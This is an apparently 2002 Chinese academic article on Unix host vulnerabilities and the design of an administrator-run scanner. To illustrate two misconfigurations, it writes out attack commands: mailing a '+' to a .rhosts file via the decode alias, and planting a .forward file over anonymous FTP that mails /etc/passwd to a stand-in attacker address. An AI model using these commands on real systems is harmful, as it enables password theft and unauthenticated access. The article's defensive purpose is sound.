薛静锋 (xuebook@xinhuanet.com)北京理工大学计算机科学工程系
2002 年 5 月 01 日
自从1993年Internet上首次采用第一种图形用户界面NCSA MOSAIC以来,这一全球最大网络的用户数量与服务内容都有了迅猛增加。商业集团和个人用户都很快意识到,由Internet带来的革命化通信时代,为通信应用领域开辟了无限的前景。如今,计算机互联网技术在信息交互、信息处理、信息查找、信息管理等方面起着越来越重要的作用。互连网络为人们获取信息、交换信息、管理信息和进行各种社会活动提供了一个快速而方便的平台,为社会的发展带来了巨大效益。
引言
然而,在人们得益于信息革命所带来的巨大机遇的同时,也不得不面对信息安全问题的严峻挑战。西方发达国家将由计算机武装起来的社会称为"脆弱的社会",就是基于以下事实:计算机主机和网络系统不断被非法入侵、计算机病毒不断在产生和传播,导致重要的经济、政治和军事情报资料被窃取,重要的网络服务时时有被攻破和崩溃的危险。这些给各行各业带来了巨大的经济损失,甚至危及国家安全。在中国,形势同样不容乐观。随着网络经济的发展,在我们这个拥有2250万网民(据CNNIC 2000年的有关统计)的国度里,各网站也时常受到国内黑客和境外黑客及垮客(Cracker)的攻击和威胁。
综上所述,信息革命在改变人类传统的生产、生活方式并极大促进生产力发展的同时,也带来了不容忽视的负面影响。网络和主机安全正成为每一个计算机用户都面临的紧迫问题。就是在这样的背景下,为了解决这些问题,一系列的网络安全技术应运而生。主机漏洞扫描技术可以说是网络安全技术中除了防火墙技术、入侵检测技术、加密和认证之外的另一项重要的安全技术。不管攻击者是从外部还是从内部攻击某一网络系统,攻击机会是由于他利用该系统的已经知道的漏洞而得到的。对于系统管理员来说,漏洞扫描器是最好的助手,能够主动发现Web服务器主机系统的漏洞,在主机系统安全保卫战中做到"有的放矢",及时修补漏洞,构筑坚固的安全长城。
目前,连接于互联网中的服务器大都采用Unix操作系统,因此,我们设计并实现了一个Unix主机漏洞扫描器,设计该漏洞扫描器的出发点是:以系统管理员的视野,发掘Unix主机系统漏洞,目的是增强主机系统的安全性。如今,在计算机安全领域,漏洞扫描器的作用与PC机病毒检测软件相似,对于系统管理员来说已经是不可或缺的重要工具软件。
Unix主机系统安全漏洞存在的必然性分析
这里,我们将从以下四个方面分析Unix主机系统安全漏洞存在的必然性。
2.1 操作系统安全的脆弱性
2.1.1 操作系统体系结构的安全隐患
这是计算机系统脆弱性的根本原因。如Unix系统的许多版本升级开发都是采用打补丁(Patch)的方式进行的,这种方式黑客同样也可以使用。另外,操作系统的程序可以动态链接,包括I/O驱动程序与系统服务,但这同样为黑客提供了可乘之机。如黑客可将磁带设备的软链接点/dev/rmt/0进行修改,添加某种后门程序,那么当用户执行tar cvf /dev/rmt/0 *这类命令的时候,可能激活该后门程序从而导致漏洞的产生。可是操作系统支持程序动态链接和数据动态交换又是现代操作系统集成和扩展必备的功能,因而出现了自相矛盾之处。
2.1.2 进程创建和远程过程调用(RPC)的安全隐患
一方面,Unix操作系统支持远程加载程序,另一方面,它又可以创建进程,支持在网络节点上创建和激活远程进程,并且被创建的进程能够继承父进程的权限。这两点结合在一起就为黑客在远程服务器上安装"间谍"软件提供了可能。
2.1.3 系统守护进程的安全隐患
守护进程实际上是一组系统进程,它们总是等待相应条件的出现,一旦条件满足,进程便继续进行下去。这些进程特性是黑客能够利用的。值得注意的是,关键不是守护程序本身,而是这种守护进程是否具有与操作系统核心层软件同等的权利。
实际上,在Unix刚刚开发出来的时候,安全性还并不是它主要关注的因素。它的安全模型是为局域网环境下的小型或中等规模的工作组所设计的。1988年的Internet蠕虫事件就是一个明显的证据:在系统级别上的安全措施是非常不够的。尽管蠕虫事件导致Carnegie Mellon大学计算机紧急情况反应小组(Computer Emergence Response Team,CERT)的成立,并加强了系统供应商和系统管理员的安全意识,但现在人们对于安全问题的认识和准备还是远远落后于各种专业或业余黑客的能力和决心。幸运的是,现在有很多的OEM附加安全部件和第三方产品可以为承担风险的WWW、FTP、Email Unix服务器提供足够的保障。
2.2 应用软件系统安全的脆弱性
2.2.1 应用软件在安全设计上的滞后性
目前Internet上运行的很多应用软件在最初设计的时候根本或很少考虑到要抵挡黑客的攻击。为局域网设计的Client/Server结构的应用程序在未做任何修改的情况下,直接联到了Internet环境下,然后便面临着被攻击。即使这些软件获得了防火墙和其他安全手段的保护,这种危险依旧存在。实践表明,不管一个应用软件看起来可能会有多么安全,由于用来开发和运行这个程序的工具甚至用来保护它的组件都可能具有安全漏洞,使得该软件的安全可能变得非常脆弱。也就是说,软件安全是一个系统工程,系统各相互作用的组件必须放在安全这个统一的标尺去衡量、开发和使用维护。比如对于系统调用函数get(),如果孤立地去考察它,并没有致命的安全漏洞。但是当黑客借助特权程序利用get()函数不检查参数长度的缺陷,制造缓冲区溢出,并转而执行一个Shell,则普通用户就变成了root用户。可见,在一个相互作用的系统里,小小的设计缺陷可能导致致命的漏洞。
2.2.2 应用软件在安全评估上的困难性
由于在Internet上运行的诸如WWW、Email等服务软件代码规模较大、设计复杂,要从理论上证明这类复杂程序的安全性,以目前的技术手段,还是一个有待突破的世界难题。现在评估软件安全性的常用方法,就是在具体使用中去检测,甚至借助黑客们的攻击来发现软件的安全漏洞并加以修补。
这里以Sendmail和Netscape Messaging Server 3.6这两个著名的邮件服务软件为例说明这个问题。Sendmail是一个大型的复杂程序,可以在公司内部或在Internet间发送电子邮件。在过去,黑客们探索出Sendmail设计上的很多缺陷,因此它也被软件开发人员无数次地修改和打补丁。尽管如此,黑客们似乎总能发现新的缺陷。作为商业化的Email服务软件,Netscape Messaging Server 3.6的安全性比前者要好,如果去黑客网站浏览一下,Sendmail的漏洞公告牌触目皆是,而Netscape Messaging Server 3.6就少得多。但我们在使用中,发现其存在一个非常危险的漏洞。比如为禁绝非法邮件的攻击和干扰,需要利用其Plugin模块的Filter功能,编写filter.cfg脚本来过滤邮件。虽然非法邮件不会抵达最终用户或不会被转发,但不幸的是,大量的非法邮件依旧会存储在Email服务器内,一切的过滤操作均是在服务器无条件接收下所有邮件后才进行,且不能自动删除。这就为黑客后门程序驻留服务器提供了可能。可喜的是,Messaging Server 4.0以上的版本解决了这个致命问题。
2.3 计算机网络安全的脆弱性
Internet使用的TCP/IP协议以及FTP、NFS等都包含许多不安全的因素,存在可为黑客所利用的漏洞。
2.3.1 TCP/IP协议漏洞
Internet技术屏蔽了底层网络硬件细节,使得异种网络之间可以互相通信。TCP/IP协议组是目前使用最广泛的网络互连协议之一。但TCP/IP协议组本身存在着一些安全性问题。这就给"黑客"们攻击网络以可乘之机。由于大量重要的应用程序都以TCP作为它们的传输层协议,因此TCP的安全性问题会给网络带来严重的后果。
2.3.2 NFS(Network File System)的安全漏洞
NFS实际上是互信主机间的share-mount 文件和目录共享机制,其主要作用就是将网络上的其他计算机对外共享的文件和目录资源挂接在另一台主机上,供用户对数据进行访问。NFS服务器在共享目录时如果未设置相应的限制(实际应用中常常如此),其结果是有太多的客户机(包括黑客)可以访问共享目录,导致数据泄露。如果共享目录可写或存在可执行的文件,甚至允许客户在NFS装入的目录上创建SetUID程序(可能使黑客获得root权限),则数据和系统安全性大大降低;即使NFS服务器在共享目录时设置了相应的限制,包括安全身份验证模式,但对于能够伪造身份进行攻击的黑客或对于局域网内部的使用者来说,安全级别不高。实践表明,NFS是一个网站计算机基础设施中的薄弱环节。
2.3.3 FTP(File Transfer Protocol)漏洞
FTP往往被黑客用于获取远程系统的访问权限或存放非法取得的文件(即FTP滥用)。这个安全漏洞是由于提供FTP服务的关键文件或目录的用户访问权限设置不当造成的。同时,主机FTP服务可能被黑客利用为制造缓冲区溢出的条件。这个安全漏洞的形成原因主要是软件开发设计的缺陷,如著名的wu-ftp2.4的软件bug会导致黑客通过FTP登录来获得root权限。
2.4 配置不当导致的系统漏洞
大部分计算机安全问题是由于管理不当,而不是由于上述的三大原因。不同的系统配置直接影响系统的安全性。系统管理漏洞主要有两个方面:系统管理员对系统的设置存在安全漏洞。如弱势口令、被信任主机等问题;系统的部分功能自身存在安全漏洞隐患,如tftp网络服务,可以通过恰当的设置去除这些漏洞隐患的威胁。但系统管理员或者未意识到或者配置失误,系统自身存在的安全漏洞隐患依旧存在。
不同的系统配置直接影响系统的安全性。不少系统管理员常抱怨系统自身的安全漏洞,实际上这些所谓的系统自身安全漏洞往往是管理员配置不够完善形成的。完善的系统配置和严格的系统管理是减少安全漏洞、提高主机系统安全性的主要手段。
Unix主机系统安全性分析及漏洞扫描技术概述
综合以上对Unix主机系统安全漏洞存在的必然性的分析,可以看出网络的安全取决于方方面面的因素,分散于网络的的各个环节,应该采取的相应的防范措施也有很多,单一的防范也是不够的。但所有的攻击和防守的最终目标几乎都是网络上的主机系统。因为主机系统上存储、处理和传输各种重要数据,可以说主机的安全问题是Internet安全的核心问题之一,是Internet实现安全性的关键。因此,主机系统的安全防护也是整个安全策略中非常重要的一环。
主机的安全性基本上依赖于三个方面:无错的操作系统代码和应用程序设计;良好的系统配置;功能与安全性之间适当的平衡。
基本上讲,处理网络和主机安全问题主要有两种方法,即允许访问和拒绝访问。
允许访问:在这种安全方式中,指定的用户必须具有某种特权或符合一定的标准才能够进行访问。
拒绝访问:这种安全方式是对某一网络和主机资源访问的一个拒绝。在这种方式中,根据一套标准来否决用户的访问,规定了用户被拒绝访问的特性。
实践表明,只有达到允许访问和拒绝访问之间的最佳平衡,才能获得Web服务器主机系统安全的最优化,偏执任何一方要么制约Web服务器的可用性,要么出现严重的安全漏洞,应使二者一起协同工作。
主机漏洞扫描器是实现允许访问和拒绝访问之间最佳平衡的主要工具,因为拒绝访问安全方式的主要目的之一是封堵漏洞限制访问避免攻击,允许访问安全方式的前提之一也是不会由此产生系统漏洞,这说明避免系统漏洞是允许访问和拒绝访问之间的一个重要的平衡点,而主机漏洞扫描器恰恰是发现系统漏洞的主要工具。
主机漏洞扫描系统是一种自动检测本地主机安全性弱点的程序。它以系统管理员的身份对所维护的服务器进行特征扫描,从主机系统内部检测系统配置的缺陷,模拟系统管理员进行系统内部审核的全过程,发现能够被黑客利用的种种误配置。
实际上,能够从主机系统内部检测系统配置的缺陷,是系统管理员的漏洞扫描器与黑客拥有的漏洞扫描器之间在技术上的最大区别。黑客在扫描目标主机漏洞阶段,即在攻击准备阶段,是不可能进行目标主机系统内部检测的。
定期对主机系统进行漏洞扫描,在一定程度上能让系统管理员间接地或直接地了解到所维护的网络服务器所存在的安全问题。
Unix主机漏洞扫描器的设计与实现
本漏洞扫描器的总体目标是构造一个运行于Unix操作系统平台的基于浏览器/服务器(B/S)结构的,可以扫描Unix操作系统安全漏洞的主机漏洞扫描器。整个扫描器的结构如图1所示。
图1 Unix主机漏洞扫描器的结构
由于主机扫描模块需要模拟一些系统管理员的行为,所以必须在被扫描的目标主机上运行,而且需要超级用户的权限。主机扫描模块驻留于目标主机,它接受系统管理员通过控制平台服务器传来的启动命令及配置参数,根据用户的要求完成扫描功能,之后,将扫描结果通过控制平台服务器反馈给系统管理员,以便系统管理员做出响应。控制平台服务器是一个Web服务器,它可以与驻留于多个目标主机的主机扫描模块进行交互。
4.1 主机扫描模块的工作原理
整个主机漏洞扫描器的核心部件是主机扫描模块,主机扫描模块完成扫描的全部功能,其工作原理如图2所示。
其中,主机扫描引擎对目标主机进行扫描,获取扫描信息,然后由匹配机将扫描信息与主机系统配置规则库中的标准配置规则进行匹配比较,从而发现违反安全策略的配置行为,并进行相应的漏洞报警。在漏洞扫描器的实现中,主机扫描引擎、主机系统配置规则库和匹配机构成主机扫描模块,而漏洞报警被传送至控制平台服务器。
图2 主机扫描模块的工作原理
4.2 主机扫描模块与控制平台之间的通信
由于控制平台和目标主机不在同一台机器上,所以必须考虑主机扫描模块以何种方式同控制平台进行通信。在进行原型设计时,曾采用远程登录的方式:从控制平台输入管理员的账号和密码后登录到目标主机,再在目标主机上启动主机扫描模块。这样的方式在原型设计阶段是很适合的,因为用Perl语言和一些现成的包来实现Telnet是比较方便的,而且在字符界面下,目标主机的扫描结果可以通过Telnet协议返回到虚拟终端上,无需做专门的处理。但是在最后成型阶段,这样的结构就具有一些缺点了:首先从实现上来讲,用C语言来实现Telnet的协商过程是一个很复杂的工作,而且扫描结果要在最后的图形界面显示出来,又需要一个相对复杂的处理;最重要的是,作为一个网络安全的软件,本身的安全是很重要的,而Telnet方式是以明码方式在网络上传递超级用户的账号和密码的,这一点将使软件本身具有一个很大的安全隐患。所以最后我们采用了浏览器/服务器结构。
整个主机扫描模块的采用的是浏览器/服务器结构。浏览器通过一个JavaScript请求模块把用户输入的目标主机的地址提取出来,加上一个特定的端口号,再作为一个完整的请求发送出去。浏览器对这个端口发出的请求是按照Http协议的格式发送的,如果在服务器端程序里再做一个类似于协议分析器的工具来分析到达的Http请求将会使实现变得非常复杂。其实利用套接字的原理就能方便地解决这个问题。套接字是服务器端特定端口和客户端特定端口建立连接后的一个通道,此通道具有唯一性,因为它是由一个唯一的四元组来确定的:服务器端的IP地址和端口号、客户端的IP地址和端口号。当浏览器和服务器相应端口的连接建立以后,服务器端向该套接字发送的所有信息都将送到客户端的浏览器。根据Web浏览器软件的特点和Http协议的特点,从服务器端来的信息如果只是ASCII信息,浏览器将缺省地把它归为text/plain类,当作文本直接显示,如果发送的信息再加上一些HTML的标记,浏览器则会把它看作text/html类显示,这样我们不仅能方便地把服务器端的输出结果显示到客户端的浏览器上,还能利用HTML的特点对显示加以控制。所以我们只需在服务器端创建一个套接字,并绑定到特定的端口,然后程序在该特定端口监听。当有信息到达时,根据套接字的唯一性,程序不作其他考虑,认定它是从客户端来的扫描请求,马上启动主机扫描模块,而不用作复杂的Http协议请求分析;并实时地把扫描结果向该套接字输出,这样就能直接返回给浏览器并呈现给用户。
4.3 主机系统配置规则库的设计
主机扫描模块功能的实现主要依赖于主机系统配置规则库,该规则库的有效性和完备性直接决定着扫描器的扫描性能。在该规则库的设计中,我们主要考虑了以下规则。
4.3.1 口令安全性规则
通过口令进行身份认证是目前实现计算机安全的主要手段之一,一个用户的口令被非法用户获悉,则该非法用户即获得了该用户的全部权限,这样,尤其是高权限用户的口令泄露以后,主机和网络也就随即失去了安全性。系统管理员以及其它所有用户对口令选取应采取负责的态度,消除侥幸和偷懒思想。具体来说应遵循以下一些规则:
口令长度不要小于6位,并应同时包含字母和数字,以及标点符号和控制字符。
口令中不要使用常用单词(避免字典攻击)、英文简称、个人信息(如生日、名字、反向拼写的登录名、房间中可见的东西)、年份以及机器中的命令等,不要在不同系统上,特别是不同级别的用户上使用同一口令。
定期改变口令。
系统安装对口令文件进行隐藏的程序或设置(例如Shadow Suite for linux)。
系统配置对用户口令设置情况进行检测的程序,并强制用户定期改变口令,任何一个用户口令的脆弱,都会影响整个系统的安全性。
4.3.2 超级用户唯一性规则
超级用户对于系统的一切文件都有进行所有操作的权利。但是最大的自由相应地也需要承担最大的风险,如果超级用户权限被黑客得到,将对整个系统带来毁灭性的打击。为了减少超级用户被破译的可能性,必须将系统中多余的超级用户删除,在一个系统中只存在一个超级用户是每个系统管理员必须遵守的原则。
超级用户可以从/etc/passwd文件中查出,超级用户的user ID为0,但是group ID稍有不同,在不同的系统版本里分别有两种形式:0或1。当/etc/passwd文件中有多于两个用户项为:用户名:x:0:0或用户名:x:0:1时,就必须遵照唯一性规则进行改正。
4.3.3 禁用Trusted主机(被信任主机)规则
在实际工作中,系统管理员为方便与其他主机进行数据传输、软硬件资源共享和r服务(如rlogin、rsh等远程系统调用命令),往往在/etc/hosts.equiv文件中设置远程主机名,以此确认该主机为Truseted主机。这样,一个被信任主机可以不需口令地访问系统及调用r服务。更有甚者,某些系统管理员在/etc/hosts.equiv文件内设置"+"符号,虽然这个参数可以方便所有远程访问,但同样方便了黑客。因为这会使任何一台主机上的任何用户都可以不需口令地访问系统,对系统安全造成很大的损害。
同样,.rhosts文件也提供了Trusted主机和r命令访问功能。但它比/etc/hosts.equiv文件可能会导致更大的安全漏洞。因为系统内的任何用户都可能在各自的$HOME目录下创建该文件。那么.rhosts文件中指定的远程主机上的用户在以该用户名登录本地主机系统时,不需口令认证。特别是在.rhosts 文件内设置"+"符号的情形,更会使任何一台主机上的任何用户都可以不需口令地访问本系统的这个用户,从而导致安全漏洞的出现。
为安全计,如果无特殊需要,应该清除一切Trusted主机相关配置。
4.3.4 禁用r命令规则
r命令是由Berkley开发的一系列命令软件,由于这些命令如rlogin、rsh、rcp、rdist等均以"r"开头,因此统称为r命令。
r命令固有的弱点包括:任何口令都是未经加密的,如果有人对网络进行窃听,很容易发现口令;整个r命令对话都是未经加密的,对话中的每一个字符(包括口令)很容易被记录下来;系统管理员为管理方便,经常使用rlogin等命令从远程登录来调试Web服务器的设置,形成潜在的安全漏洞。
为安全计,如果无特殊需要,应该在路由器上或主机/etc/inetd.conf文件内过滤掉512、513和514(TCP)端口,这样可阻止主机外部用户使用r命令。
4.3.5 禁用X Windows 规则
X Windows系统是一种客户机/服务器结构的窗口系统,每个拥有显示设备的主机系统都可以作为服务器,并可接受另一个主机系统作为其客户。它的运行模式是:程序在客户机系统上运行,而用户界面却显示在服务器的显示设备上,客户机通过网络把应该显示出来的内容传送给服务器,服务器则把用户的输入通过网络传送给客户机。
和r命令一样,所有的X Windows 传输内容都是不加密的,并且它的身份验证功能也不够强大,容易丧失作用(如"xhost +"命令)。
为安全计,如果无特殊需要,X Windows设置可以认为是不必要的。
4.3.6 禁用/etc/aliases中的"decode"别名规则
如果系统管理员没有将/etc/aliases文件内以decode别名起始的一行注释掉,那么该主机允许decode别名。若用户zy主目录(如/export/home/zy)下的 .rhosts文件对daemon(smtp服务器通常以daemon用户身份运行)可写,即有:
sun%echo "+" | uuencode /export/home/zy/.rhosts | mail decode@ngcc.com
在该例中,本地的uuencode程序生成一个编码流,文件名为"/export/home/zy/.rhosts ",内容为一个"+",并作为电子邮件发给ngcc.com上的decode别名。ngcc.com收到该邮件后,把这个编码流重定向到解码程序uudecode,uudecode则恢复文件内容,并试图把它存为/export/home/zy/.rhosts。如果daemon对/export/home/zy/目录有写权限,则上述命令执行成功。于是/export/home/zy/.rhosts中就出现一个"+",这正是攻击者需要的。
为安全计,应该禁用/etc/aliases中的"decode"别名。
4.3.7 审核文件和目录权限规则
(1)FTP的根目录
FTP的根目录不同于主机系统的根目录,所以FTP下看到的/etc/passwd和系统的/etc/passwd不是一个文件,但有些不称职的系统管理员在创建FTP目录结构时会把系统的/etc/passwd文件直接拷贝过来,这就会给黑客以可乘之机。
FTP的根目录是在系统的/etc/passwd文件中指定的,也就是用匿名FTP登录到主机后的起始目录。
例如:事先编写forward_sucker_file shell脚本,内容为:
sun% cat forward_sucker_file "| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr" |
通过FTP将forward_sucker_file脚本传送到目标主机(如ngcc.com)
sun% ftp ngcc.com Connected to ngcc.com 220 victim FTP server ready. Name (ngcc.com:zy): ftp 331 Guest login ok, send ident as password. Password: [输入电子邮件地址] 230 Guest login ok, access restrictions apply. ftp> put forward_sucker_file .forward 43 bytes sent in 0.0015 seconds (28 Kbytes/s) ftp> quit |
将passwd文件内容发送到黑客邮件地址:
sun% echo test | mail ftp@ngcc.com
如果匿名FTP主目录可写,可以在其下投放一个".forward"文件;文件内容是一行用双引号引起来的Shell命令;".forward"文件是用于邮件转发的:如果某一用户(此处为ftp)的主目录下有这个文件,那么当该用户收到邮件时,就要视".forward"的内容进行转发。如果".forward"的内容为一些电子邮件地址,该邮件就被转发到这些地址;而如果为一行用双引号引起来的Shell命令,则该邮件的内容被重定向到此命令。此处,命令为:"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr",实际上对重定向过来的作为输入的邮件内容没有做任何处理,而是把/etc/passwd(为了防止被安全机制过滤,先在每一行行首增加一个空格)发到了攻击者的电子邮件地址(me@my.e-mail.addr)。因此,在投放了这样一个".forward"文件后,再随便发一封电子邮件给victim.com上的FTP用户,通过"转发"功能,ngcc.com上的/etc/passwd文件就寄到攻击者的电子邮件地址上。
(2)其他文件和目录
确保没有其他文件和目录被FTP用户或所在的组拥有所有权(ownered by ftp account and ftp group);否则,黑客可能借助特洛伊木马程序对合法文件进行替代,构成漏洞隐患。
除了~/ftp/incoming目录外,匿名(anonymous)FTP 用户在其他目录下不能创建任何文件和子目录。
文件和目录权限修改要慎重:对于系统或CERT组织推荐的有关特定文件的读写权限,如/var/adm/utmpx和/var/adm/wtmpx文件权限应该为644,不要轻易修改。一般情况下,拥有对任何文件和目录具有写权限的用户只能是超级用户,进一步说,如果一个文件或目录可写,则可写者只能为超级用户。
(3)setUID和setGID问题
setUID的作用是允许程序以一个特定用户的身份去运行,而不管到底是谁在运行它。就是说,setUID允许程序将其用户ID改变为另一个用户的ID。SetGID功能同setUID,区别是将一个正在运行的程序的组帐号改变为一个特定的组帐号。setUID和setGID只使用于可执行文件,二者对某些特定的程序才可以访问特定信息的情形是很有价值的。如普通用户在运行passwd命令时,由于该命令setUID为root,则可以获得修改只有root才有相应权限的/etc/shadow文件,从而改变自己的口令。
但是,setUID和setGID容易被黑客利用来制造缓冲区溢出,从而永久获得root权限。据CERT指出,利用setUID制造缓冲区溢出是黑客获得root权限的主要方法之一。因此,系统管理员不能随意赋予可执行文件setUID和setGID特性。
4.3.8 审核用户帐户的安全性规则
Solaris和Irix等Unix系统中,除去超级用户外,还存在如lp、sys、adm、nobody等管理帐户。虽然它们没有超级用户的特权,但同样应受到保护,因为这些帐户的系统进程可以控制基本的系统功能,如电子邮件、关系数据库访问、打印等。这些管理帐户内的任何一个遭到攻击,都可能导致相应子系统中的文件被大规模地暴露和损坏。例如,lp帐户所受的破坏可能会造成攻击者对打印子系统获得完全控制,从而使黑客能够任意地修改打印输出的内容。
从管理帐户在Web服务器运作中的职责和作用看,大部分应该予以封闭。比如lp,Web服务器上是没有必要也不允许打印文件的。由于这些管理帐户是Unix系统预装的,系统管理员常予以保留。但这些管理帐户可能被黑客利用,且它们对Web服务器用处不大。所以,一些管理帐户,包括daemon、sys、lp、adm、uucp、nuucp、listen,应该封闭。
此外,超级用户的PATH(在cshell中存在于.cshrc文件,在kshell中存在于.profile文件)或LD_LIBRARY_PATH变量中,不应该存在"."或"~"字符,因为黑客可能利用这一点来植入特洛伊木马程序。
审核用户帐户的安全性规则涉及到/etc/passwd和/etc/shadow两个核心文件。一方面,系统管理员要保证其内容完整性,禁止非法修改,或者及时发现非法修改并予以修正;另一方面,禁止无口令或弱势口令的存在。所谓弱势口令指易于猜测、破解或长期不变更的口令。实践表明,主机安全的核心问题是超级用户的口令安全问题。超级用户的口令被泄露或被成功破解,等于拱手将服务器系统的所有管理权让于黑客,黑客可以轻易获得主机内的所有数据。
4.3.9 禁止不必要的网络访问服务规则
所谓不必要的网络访问服务是指实现主机系统网络服务功能所不需要运行的服务。对于Web主机而言,很多网络访问服务在操作系统安装时就被缺省配置,其所对应的TCP/UDP端口也对外打开,如非常危险的finger服务和它对应的79号TCP端口。通过对网站的端口扫描,可以发现很多系统管理员对外提供了或多或少的不必要的网络访问服务。而从系统内部审核不必要网络访问服务的方法是禁止不必要的网络访问服务的最有效手段之一。
需要补充的是,另外一些需要禁止的服务为:sendmail、NFS服务器和客户机、automounter和rexd等。由于sendmail是著名的漏洞程序,很多机构购置了Netscape Messaging Server等其他mail服务软件加以替代;rexd服务基本无安全可言,远程用户可以象在本地一样畅通无阻地运行本地主机的程序。因此rexd处于被禁之列。
4.4 主机扫描模块的功能实现
在本漏洞扫描器的实现中,主机扫描模块的功能实现主要体现在以下几个方面。
4.4.1 检查服务器登录记录
扫描服务器登录记录并分类将其呈现给系统管理员,便于系统管理员察看和管理。这部分分为两步:
(1) 扫描当前登录用户,将他们的具体信息打印显示。
(2) 扫描登录历史记录并将历史记录分成三类:内部NAT网段合法用户登录;外部授权合法用户登录;外部非授权用户登录。
前两类视为正常情况,第三类设置为警告类显示并给出警告。在实现中我们设置了一个配置文件,用户可以设置该配置文件,根据不同的环境来设置当前NAT网段的网络地址和授权的外部合法地址。
4.4.2 检查用户信息
(1)检测服务器系统中是否存在多个超级用户,确定潜在的后门。如果系统存在多个超级用户,为系统安全计,建议手工删除多余或非法的超级用户设置。这部分功能主要通过检测/etc/passwd文件内的相关信息得以实现。
(2)将/etc/passwd 文件与其标准备份文件(如/etc/ncb)进行比较,确定二者的不同之处。该标准备份文件应不易被攻击者发现,最好放置在内含文件较多的系统缺省目录内,命名则与系统命令类似。该标准备份文件可视为用户配置标准规则之一,系统管理员的配置和更新均及时反映在这个文件中,并且是合理的。在标准备份文件与/etc/passwd进行逐行比较的情况下,黑客对/etc/passwd的任何改变均会被检测出来。
(3)在/etc/shadow 文件中检测是否有无口令用户的存在。如果存在无口令用户立即给出警告信息。
(4)检测服务器中用户主目录的权限设置,当用户目录权限超过组可读的限度时给出警告,特别是用户主目录全可写时给出严重警告,提醒管理员立即修改该用户主目录权限。
4.4.3 危险Suid文件的检查
扫描几个重要的系统可执行文件的目录,包括/usr/bin、/usr/sbin、/usr/dt/bin和/usr/openwin/bin。由于系统本身在这些目录下就具有很多必要的Suid的文件,所以在实现中对应于每个目录都有一个该目录下标准的合法Suid文件库,当在扫描中如果发现不是标准库中的Suid文件时,就显示出该文件,并给出警告,提醒管理员立即检查该文件的合法性。
4.4.4 检查文件安全性
(1)检查/etc目录下重要配置文件的权限,对于此类文件超过组可读的权限即给出警告并根据权限大小给出相应警告。
(2)通过扫描/etc/passwd文件,检测服务器中用户主目录的权限设置,当用户目录权限超过组可读的限度时给出警告,特别是用户主目录全可写时给出严重警告,提醒管理员立即修改该用户主目录权限。
4.4.5 基于信任机制的扫描
(1)检查/etc/hosts.equiv文件的安全性。首先检查该文件是否存在,如果该文件存在,再检查该文件是否为空,如果为空,则建议系统管理员删除该文件;如果不为空,则进一步检查该文件内是否存在"+"符号,如果存在,程序予以严重警告。
(2)检测 /.rhosts文件的安全性。如果该文件存在,程序予以警告;如果该文件内存在"+"符号,程序予以严重警告;如果该文件内存在"++",则程序要求管理员立即删除此标记并用入侵检测工具检查整个系统。最后程序建议用户如无必要则删除该文件。
4.4.6 检查网络访问服务安全
扫描/etc/services和/etc/inetd.conf文件,如果一个网络服务在两个文件中都没有被注释掉,则表明系统启动了该网络服务。在这些启动的网络服务中,再看有没有一些存在隐患、易被黑客利用而又没有太大必要开放的服务,如果有则提出警告,由系统管理员作最后的权衡,是否关掉该服务。
4.4.7 检测NFS漏洞
检测目标主机是否存在NFS 共享的目录和文件,如果存在则给出警告。需要说明的是,主机扫描模块获知的漏洞信息,一般情况下,予以提示系统管理员。至于修改漏洞,为安全计,建议系统管理员手动修改完成。
4.4.8 其它隐患扫描
(1)检查 /etc/aliases 文件中 decode项是否被封闭,若没有则提示是否添加 "#"符号 于 /etc/aliases 中decode 相关行首。
(2)检测 /.cshrc 脚本文件path设置项内是否存在 "." 字符,是则建议删除。
结束语
我们设计并实现了这个Unix主机漏洞扫描器,该扫描器具备了较强的主机安全扫描能力,但由于受到技术和时间上的原因的限制,在设计和实现上也存在一些不足和有待改进之处,主要表现在主机系统配置规则库的有效性和完备性方面,由于系统漏洞的确认是以专家经验形成的系统配置规则库为基础的,如果库体设计不准确,预报的准确度就无从谈起,如果库体更新不及时,预报准确度也会逐渐降低,此外,系统也无法检测到新出现的安全漏洞,这些都有待于以后进一步的改进。 总之,主机漏洞扫描技术是一门较新兴的技术,它从另一个角度来解决网络安全上的问题。具体来讲,防火墙技术是被动防御、入侵检测技术是被动监测,而主机漏洞扫描技术则是自身主动进行有关安全方面的检测。因此,从网络安全立体纵深、多层次防御的角度出发,主动进行检测安全漏洞越来越受到人们的重视。
关于作者
薛静锋,北京理工大学计算机科学工程系博士研究生,主要研究方向为网络安全技术。曾参与过的研究课题有:“分布式协同专家系统开发工具、计算机网络隐患扫描技术,目前在研的课题为“异常入侵检测技术研究”。近三年来出版计算机书籍6本,译著2本;在各种学术刊物上发表论文7篇。可以通过 E_mail: xuebook@xinhuanet.com与他联系! |